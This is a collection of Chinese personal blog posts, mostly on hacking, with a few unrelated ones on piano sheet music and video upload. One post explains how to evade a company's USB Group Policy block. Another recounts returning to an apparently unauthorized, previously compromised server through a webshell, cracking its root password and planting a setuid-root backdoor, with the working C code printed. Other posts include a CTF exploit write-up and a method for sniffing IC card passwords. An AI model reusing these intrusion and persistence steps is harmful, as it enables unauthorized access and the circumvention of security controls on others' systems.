绕过域组策略限制向U盘写入数据

朋友公司的热心网管通过让大家更为别扭的使用电脑寻找存在感,所以设定域组策略限制了她们用u盘备份资料。话说,真想搞点小动作、扮演个商业间谍的员工,用网盘邮件什么的发送多实时啊,至于上u盘吗。至于域管理,也是大小儿就听说,就没见过真身。此番游玩后发觉这一功能是企业集团这辈子必须依赖的,至于Linux/OSX,这点不服不行。

为了简化原理,以简单的形式来说,就是一台 Windows 2008 和一台 Windows 7:

  • Windows 2008 上面开启了活动目录(AD),也就是域管理。
  • 同时 Windows 2008 上面建立一个账户
  • 这台 Win7 配置了接入域,通俗的说就是登陆验证需连接 Win 2008完成,域名解析也需要借助服务器,可能连ip分配都如此。

一个简单的域就组建好了。由于Win7的账户验证在Win2008完成,这个账户的权限和允许的操作都是受服务器定义的。一旦Win2008设置了组策略管理的规则,连接他的Win7也得受之管辖。不过网管配置时候疏忽了一点,人家Win 7虽然登陆了域,但也可以切换用户,然后登陆本地账户。

这点是他可以通过高级的配置手段残忍阻止的。

虽说由于域管理的缓存机制,本地账户也受到域组策略的限制,但本地账户可是本地管理员级别的。想删改系统文件,装个驱动,格式化个磁盘都没人拦得住啊。至于写U盘被阻止的规则,那只是资源管理器,命令行什么的正常调用AP的程序才遵守。既然我是本地管理员,你组策略又没限制我装驱动,那我从驱动级别去直接调用内核API访问U盘,网管就管不着了。

可这驱动自己写不免有点折腾了,兼容性也不好讲。干脆,用现成的VirtualBox。VirtualBox里面创建一个Guest的Win7,也是可以访问U盘的,因为VirtualBox会在Host系统,也就是原Win7装一个驱动,而这个驱动就完成了底层接管USB设备的任务。既然是驱动级别的接管,你组策略就奈何不了。然后Guest的Win7再访问U盘,实则通过这个底层的驱动完成,效果看起来和组策略失效了一样,随意写。

最无奈,网管过滤了百度网盘,QQ离线发送等网络通讯,煞费苦心哎。最后只能通过新加坡一个VPS主机做中专才把VirtualBox传过去。

其实真逼急了,狠招也有的是,拿到笔记本,我U盘启动个Kali Linux,连Windows都不进,你组策略个溜溜球啊,我爱拷啥拷啥。或者你改了本地管理员口令,我U盘KonBoot启动绕过密码进去,然后爱怎么改怎么改。唯一的问题是,本儿不是我用,选择一个持久、麻瓜、易操作的方案才是最优解。

后记,对比发现,利用本地管理员权限直接改注册表似乎就可以对抗域组策略。对比前后注册表的变化,一般是safe descriptor 之类的字段,有个两三个,全删掉就可以了。

George Winston版卡农钢琴谱带完整指法

Kanon一直都是心中最爱,特别是George Winston的版本。想down个谱子弹弹看,发现网上有好些个自称Winston版本的卡农谱,内容却各不相同(掀桌)。后来自己找来原版音频听,再综合网上几个常见版本,于悼红轩中披阅十载,增删五次,(呃.. 上两句可以掐掉不播…),整理出了一版。标注了所有音符的指法,希望可以帮到入门级的同学们。

吾非专业人士,且处于非常初级的阶段(真不是谦虚),so谱子有点小错误在所难免。

请发现的同学见谅并及时留言更正。点击下面的播放,可以试听乐谱电子合成的MIDI音频:

此外,偶然发现自己制作的这个pdf在其他计算机上会出现字体显示错误的问题,通过度娘解决了这个问题。这个字体嵌入问题的具体解决方案来自CSND论坛的ptfcwnsohq同学,感谢他,solution如下:打开pdf文件后,点击文件->打印,选择名称到Adobe PDF->属性->默认设置【标准】->编辑->字体,然后将“字体来源”中的所有字体都添加到“总是嵌入”边框,最后点击另存为一个配置文件【名称自拟,按默认路径保存】,保存后退出;再按先前一样打印,但此时的Adobe PDF属性设置应选择前一次保存的配置文件名,点击打印后即可生成嵌入所有字体的PDF文件。

标题页: 

 

 

版权页:

 

 点击下载此文件

网络安全日CTF

4.29是首都网络安全日,除安全厂商参展炫技外,还有近70支来路各异的队伍前来参加为期一天的CTF攻防赛事。比赛分为上午和下午两个场次,各3个小时,中间不到一小时的休息时间。上午的比赛内容为线上答题,题目种类包含 Misc,Pwn,Web,Crypto,Reverse五个类别。相比下午的攻防夺旗赛,上午的题目和我平日研究的内容更贴近,因而投入了更多的精力。

上午的比赛,每一道题目的答案都以flag形式出现,通常是一个可以明辨含义的单词或其MD5散列,提交到在线答题系统即可得分,各个队伍的总分实时更新显示在题目侧边。赛程只有三个小时,遗憾的是很多复杂的题目连上手分析的机会都没有,庆幸的是有限时间减轻了精神压力,否则再多几个小时的头脑风暴可能就体力不支了。

Crypto

顾名思义,这类题目主要考察密码分析学的知识。和其他类别一样,每道题目都是自成一篇微小说,描绘了一个历史人物的经典剪辑或是谍战风云的早木皆兵。不难看出题目背后的用心雕琢,力图少几分枯燥,多些娱乐。比如第一道题目即是凯撒大帝经典的移位密码,出题者选择了13作为加密秘钥,刚好是26的一半,意味着利用加密算法穷举到秘钥后不用再绞尽脑汁算解密秘钥,而是再次加密就得到明文。

还有一道题目讲述了一个谍战中通过音乐传递情报的故事,并附上乐谱,要求从中还原明文,如图所示:

比赛时并没能参透,匆匆浏览只注意了数字。赛后后发现歌词原来也是提示,充满了浪漫的小趣味,用八进制格式化音符再转成asc码就是答案

ILoveSecurityVeryMuch

Pwn

这类题目没有太多变数,一般通过溢出漏洞让目标程序做些预期外的事儿。通常先给出Linux下跑的程序,只要分析清楚,写好利用代码,然后向指定服务器发包获得权限就能拿到flag文件。

第一题是在比赛中做出来的题目,还比较简单,只要用超长数据覆盖掉指定变量就能让程序流程改变输出flag信息了。

第二题就困难了一大截,程序运行后包含三次scanf输入,前两次输入都有strlen验证输入长度(可以使用0x00填充绕过长度限制),第三次的输入的内容虽然没有长度验证,但会被预定字串I_Need_BMW异或变换。如果变换后的字串和The_Pursuit_of_Happiness相同则会跳转到该字串起始位置开始执行。

虽然程序sub_804859C函数的溢出点很容易发现,且编译时关闭了ASLR和DEP,加之利用三次输入可以进行栈溢出覆盖返回值,但问题是整个程序空间都定位不到jmp esp类的指令用以跳向shellcode。考虑到题目特意包含了第三次输入内容经变换就可被跳转执行,溢出的思路也开阔了不少。

利用过程要触发两次溢出,第一次溢出覆盖ebp为I_Need_BMW等常量所在内存地址附近(不开ASLR时这个地址固定),然后返回值覆盖为sub_804859C起始位置sub esp, 168h的位置,如图所示:

溢出使得程序随后跳转到sub esp, 168h位置,保证ebp指向常量内存空间

这样第一轮溢出后程序会再执行一轮三次scanf,通过前两次输入中注入大量0x00触发第二次溢出,清空秘钥I_Need_BMW和比对明文The_Pursuit_of_Happiness,使得注入的shellcode不会因为异或有过大改动,只要提前反变换shellcode就可以使得变换后仍然不丢失语义。这样第二轮执行后,末尾会跳转到第三次输入的内容作为代码执行。

Reverse

这部分题目比较灵活,除对二进制程序的逆向分析外,还包含很多结合近年热门的解固件的问题。其中一道题目就是给了路由器的固件,要求分析出当中的后门反向连接的地址信息。虽然看过使用binwalk解包的案例分析,但真正拿到固件包时仍心有余而力不足。第一重解出来一堆zlib和squashfs,和心理预期的文件系统样式不符就停滞不前了。这部分题目要么是简单到分析过后就没有印象,要不就是思路上走不通只好放下。

下午的攻防实战环节还有一道比较难的逆向题目,需要分析一个放大镜后门程序的登录口令。一旦输入正确的口令,程序会弹出资源管理器,这样就能绕过远程桌面认证输入直接渗透进入目标主机了

首先这个看似轻巧的后门包含多种反调试陷门,由于平时分析漏洞多用Immunity Debugger,缺少反反调试的插件,只好用IDA纯静态查看。其次,程序内的函数调用逻辑十分抽象,关键算法都是数十个虚函数的嵌套迭代,用静态分析的方法十分吃亏。赛后求助同事老唐,花了一天时间才了解了背后的蹊跷。

它极可能使用易语言完成了开发,因而程序逻辑不像C语言一样明晰。此外程序中还包含一个陷阱,如果通过URLDecode可以很容易解出来一个口令HXB{YAO- YAO- QIE- KE- NAO},点击登入甚至会弹出添加系统管理员账户的界面,并且IDA上下文内包含net user /add等字样,迷惑程度异常高。

最后用包含反反调试插件的OllyDbg跟踪到了真正的加密函数入口,输入的信息被加密后需要和另一个URLEncode的字串相同才可以。加密算法形似RC4,但部分结构被篡改,使用RC4算法并不能解出来真实口令。一个取巧的办法是在加密入口强制修改内存,将输入数据修改为URLEncode字串,查看加密出口时的内存就能发现真实口令HXB{HAHA- HEHE- HEIHEI- HUOHUO- XIXI}赫然出现了。

Misc

杂项题目就很丰富了,可能综合运用到其他题目的技术,并且包含很多有趣的彩蛋。其中一道题目是叙述了一个谍影重重的案件,高潮迭起的故事结尾,间谍U盘镜像落入囊中。镜像解开后,里面包含了很多映射故事中点滴线索的文档

其中systemzx.exe是关键的程序,执行后会释放机密的flag文件,但提示身份验证失败,flag又被删除。题目本意肯定是希望逆向systemzx.exe后找到应该输入的信息,让解压后身份审核通过,flag文件得以保留。

但实际操作中发现再次执行,由于解压缩的覆盖操作需要用户确认,解压执行流程被暂停,flag文件还未被删除,拷出来后执行就得到了隐藏的机密文件。这种彩蛋式的解法让人有种捡了钱的幻觉。

纵观上午的赛事,题目的设计真是用尽了心思,即保证三个小时各队都能有所收获,也有一定难度可以拉开差距,甚至赛后留给大家意犹未尽的味道。

 

Nexus刷机你卡了吗

做实验需要低版本Android系统,按照一般思路:从Google官方下载了4.1的镜像,在fastboot下从5.0.2执行flash-all.sh脚本。但重启后,Nexus 7就一直卡在开机后的Xlogo处。

解决的方法是,解压zip包,手动调整刷机脚本,删掉userdata的刷入:

fastboot erase boot
fastboot erase cache
fastboot erase recovery
fastboot erase system
fastboot erase userdata
fastboot flash bootloader bootloader-grouper-3.41.img
fastboot reboot-bootloader sleep 10
fastboot flash boot image-nakasi-jzo54k/boot.img
fastboot flash system image-nakasi-jzo54k/system.img

iMovie发布优酷高清视频

曾经限于电脑摄像头的羸弱配置,发视频也不在意分辨率。Air的720p摄像头贯彻了苹果一贯的精益求精,光线充足时候画面纯净,色彩逼真,用它要还不顾忌清晰度就说不过去了。

优酷为了拉开会员和平民身份差别,除了标清还相继推出高清、超清、1080p。即便我制作视频保证严格品控,但iMovie导出来的最佳质量文件依旧只在落得个优酷标清的下场。不过相比两年前,这事儿解决起来容易很多。首先,优酷已经有明确的政策文件可查:

1. 以下这些视频平均码率>=1Mbps时为高清,>=1.5Mbps时为超清,>=3.5Mbps时为1080p:

H.264/AVC(Advance Video Coding)/AVCHD/X264 通常使用MP4,MKV文件格式, 也有的使用FLV格式

RV40/RealVideo 9, 通常使用 RMVB文件格式

WMV3/WVC1/WMVA/VC-1/Windows Media Video 9, 通常使用WMV文件格式

2. 以下这些视频平均码率>=2Mbps时为高清,>=3Mbps时为超清,>=5Mbps时为1080p:

MPEG-4 Visual/Xvid/Divx, 通常使用AVI,MP4文件格式

3. 以下这些视频平均码率>=5Mbps时为高清,>=7.5Mbps时为超清,>=8Mbps时为1080p:

MPEG-2, 通常使用MPEG/MPG/VOB文件格式

显然,iMovie推崇的mov格式未列其中,任你再大也不被优酷当做高清。如果退而求其次,iMovie导出的倒数第二个选项的所谓高清,实则是H264,恰符合要求。但如果是手机里面导出来的视频,最好还是用格式工厂调一下码率。以下就是调节后的成品:

二进制格式的AndroidManifest修改

APK重打包后,由于签名不吻合,在包含原程序的手机上是不能覆盖安装的,需要修改包名(packagename)

对于比较简单的APK可以在apktool编译时直接修改AndroidManifest.xml的源文件实现包名篡改,但类似微信这种复杂的程序,想穷尽修改相关的包名就差强人意了。特别是一些包名可能动态生成或在so文件中使用。

行之有效的方法是直接修改重打包APK中包含的二进制格式的AndroidManifest.xml文件。若欲篡改的包名和原始包名长度相同或比原始包名要短时,修改的方法都很容易操作:

  • 解压缩APK
  • 修改包名所在字串,字符串以{长度}{UTF8}{NULL}{NULL}方式存储
  • 重新压缩APK,重新签名即可

但如果有特殊需求,一定要将包名修改为一个比原包名长的名称时(需要修改多个长度字段),必须清楚地理解AndroidManifest.xml的文件格式。虽然格式未公开,但通过一定的逆向分析,已经有比较详细的格式文档供参考了,详见链接

实验时写了一个Python脚本,用于AndroidManifest.xml中包名的替换,代码详见链接

PS:虽然文档中没有提及,但字符数据整体大小需要4字节对齐,我写的代码已经包含了对齐操作

爱,所以Pwn

荧蓝的背景灯,环台撩骚的推女郎,闪烁射光伴着劲爆音节,一双双飘忽迷离的眼神。还好台上抖动的不是曼妙多姿丰胸翘臀,不然现场媒体可就是等着抓拍刑警清查私人会所时的英勇身躯了。

Keen Team 联合 Xcon 处心积虑地选择了1024这个极得很的日子办GeekPwn,比老罗发布会选择520虽话题性小些,却也立意明确,毕竟还不是个大众消费品。中心舞台周围除了性感大长腿,极客爱好者和媒体朋友们啪啪啪的闪光灯外,还有很多智能设备供Funs Play(放肆玩)。

Geek好理解,但Pwn压根就不是个正规单词。国外黑话说入侵占领一个目标,喜欢用Own,比如,I just owned the gov website. Penetration是渗透,也讲的是入侵占领,Penetration说的技术和过程,Own单指结果,所以Penetration和Own结合一下就是Pwn了。

来这里Pwn老罗的Smartisan T1,是个偶然。
偶然的,才更惊喜,唯心论者也常称缘分。

出于道德披露漏洞原则和国内敏感的安全圈惯条,台上我讲得怎么有逻辑和情怀、手机上做的再精致的UI,观众也就只能感受个黑白默剧。精彩的故事绝不是台上一分钟台下十年功,而是锤子科技的事件响应反馈。铺垫有点长,正式入题。

GeekPwn上被Pwn的厂家产品一只手肯定查不过来,但赶到活动现场就锤子一家。四十的软件工程师带着一个年轻的跟班,坐在对面谦恭质朴,就跟每个人中小学时代那个打心眼里钦佩的老教师一样。翻开临摹老乔老罗的keynote去给他们讲漏洞细节时,他们不时的反馈和认可、甚至注意到了这个幻灯片的情怀。也许就像魔术师最擅长当观众一样,老教师也最会当学生。

1025中饭前,彼此表示感谢,起身分别。

1026中饭后,锤子科技已经修复漏洞,发布新版本手机ROM,并在官微表示对活动的支持、选手的感谢。http://weibo.com/1640571365/BtmO7aThP

我以为早习惯了老罗的出牌套路,没想到还是被感动。圈外也许不熟悉,但最重视安全的企业,便如Google,Microsoft,Apple也有一个月的修补周期。而国内的企业听到自己产品有漏洞,则惯常会如360这次的表现,否认、恶言反击。当每天被扇耳光时,哪天人家忘了,你就会喜笑颜开。老罗只是做了一件普通的,每个企业都应该做的分内事儿,仅此而已。
并不是他初来这个圈子,还不够油条,就像他自己写的

永远年轻,永远热泪盈眶。

Linux提权及后门

再回首,云遮断归途,再回首,荆棘密布…

单位的工作环境在penetration方面吸引力远不如学校,可能是限制屏障消失亦或是从事项目于此不相干,所以没了那种幽幽暗暗反反复复中追问的动力。最近被邀去讲讲经验故事,为了让实践环节有的玩耍,所以重操旧业温故知新。还好当年大部分战果都有些许的记录,算是矬子里拔大个找到一个可用对象。

注入点、webshell,后台上传点都还在,md5后的口令也能跑出来,但后门账户已经被咔嚓掉了(在/etc/passwd中加#注释了)。这几近完美却偏偏美中不足让我隐隐作痛。内核升级后,CVE-2010-3847这个当时提权用的漏洞已经不可用。翻遍所有web目录,只剩一个上线。

Linux exploit suggester跑遍了提权代码,未果,得另辟蹊径。

看到资料库中的/etc/shadow,当年鬼使神差留了一份~这个root的散列起始为$1$,采用MD5存储,hashcat里面-m 500可以有效应对。虽然形式是MD5,但跑shadow的速度比一般的散列慢几百倍。站内数个config文件暴露的数据库连接口令都暴露了管理员的口令制定策略(对password单词的变异)。对hashcat的口令规则稍加定制,很快恢复了shadow文件的root口令。不过,只有root口令,没有交互界面(tty),su也无的放矢。这种无交互的尴尬迫使当年一度思考要立项做无交互提权方案研究。天公作美,今天搜到了pentestmonkey冥冥中留给我的密旨:php反弹shell后,再用

python -c 'import pty; pty.spawn("/bin/sh")'

即可取得真正的交互shell,su works like a charm。口令正确,sh-3.2#返回一刹那,寡人激动不已。吸取前车之鉴,这次得留好后门,其实也就是写个setuid(0)的execl放到/bin下面,并加上suid标记,以后依托它执行的”ls /home”等命令都可以root权限执行。程序代码:

#include <unistd.h>
void main(int argc, char *argv[])
{
	setuid(0);
	setgid(0);
	if(argc > 1)
		execl("/bin/sh", "sh", "-c", argv[1], NULL);
	else
		execl("/bin/sh", "sh", NULL);
}

Great lines (持续更新)

WebKit is basically a collection of use-after-frees that somehow manages to render HTML (probably via a buffer overflow in WebGL). — grugq

Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems. — Jamie Zawinski

The quieter you become, the more you are able to hear. — Offensive Security

在Internet上,最远的距离不是中国和美国,而是网通和电信

If you hack, don’t speak

If you speak, don’t write

If you write, don’t sign

If you sign, don’t be surprised

逻辑嗅探 [续]

最近做的工作较两年前而言有了很大的突破,室内的prototype已经摇身一变为切实可用的production了。功能虽然仍然是嗅探接触式IC卡和器具的通信数据以获得卡口令,但设备的便携性和稳定性已有了质的飞越,而且通过配合一个脚本自动解析通信数据包,人工的成分大大减少。原贴 发布于看雪,新进展本应该补充到原文,可故地重游时再也找不到编辑贴子的按钮,进展部分只能在此陈述。

原来的prototype嗅探卡通信时,DATA & RST & CLK & GND 是通过将弱不禁风的导线贴在芯片表面引向到逻辑分析仪。这直接导致了四点弊病,使得每一轮嗅探工作都无比艰难,充满机缘巧合阴差阳错:

  • 贴合的导线在多次插拔卡时易松动,通信数据截取有时缺斤少两
  • 对于每一张做嗅探的卡片都需要一个漫长的准备周期,即,清洗表面,布线,贴合,繁琐的工作恰恰还需要极为细腻的操作,否则瑕可掩瑜
  • 引出的线和逻辑分析仪连接时是通过夹线的小钩子连接,其弹性,紧度(让人浮想联翩)有限,易脱落
  • 好不容易抓取到数据包,仍然需要人工分析。由于不是连续性作业,再次抓到数据时可能已经士别三日,对手册早已刮目相看忘得一干二净。得再花数个小时研读手册,看着凌乱的波形图找寻只言片语中蕴藏的口令

综上,在prototype完成后,除了原文所述玩弄了一下洗衣机外,再没碰过其他器具和卡片。两年间发现了一些新奇的gadget,比如小卡转大卡的转换器(原本用于sim卡转大卡,方便读写数据)、大卡转小卡的转换器,以及小卡转小卡的延长线。这些gadget的组合碰撞的火星照亮了一个解决上述问题的特解。一图胜似万语千言

上图中,绿色的gadget就是大卡转小卡的转换器,它通向了一个小盒子,小盒子内部使用了小卡转小卡的延长线,这条线再次从右边伸出来和黑色的小卡转大卡的转换器进行了插合。现在,直接插卡于左边绿色卡槽,右边的黑色卡就可以作为一张合法的IC卡进行使用了,所有的通信数据会在黑卡和绿槽间涌动。

而嗅探通信数据时要的DATA & RST & CLK & GND可以从盒子里面接洽的位置引出,这次终于下了决心,购买了烙铁焊锡,完成了高难度作业,牢牢地讲引线焊接在引脚处,奠定了整个设备稳定性的基石,如下图所示:

引出的四根线会甩到盒子侧面,整齐排列,并且用502胶紧紧固定,方便逻辑分析仪的抽插,如下图所示:

大功告成了,现在整个设备可插拔,且高度稳定,每次更换绿色卡槽内的卡片即可,随时可以拿起来大风起兮云风扬了。最后的两张图,第一张是整个设备运行状态,第二章图展示的是一个python脚本,可以自动解析逻辑分析仪导出的数据,快速提取卡口令: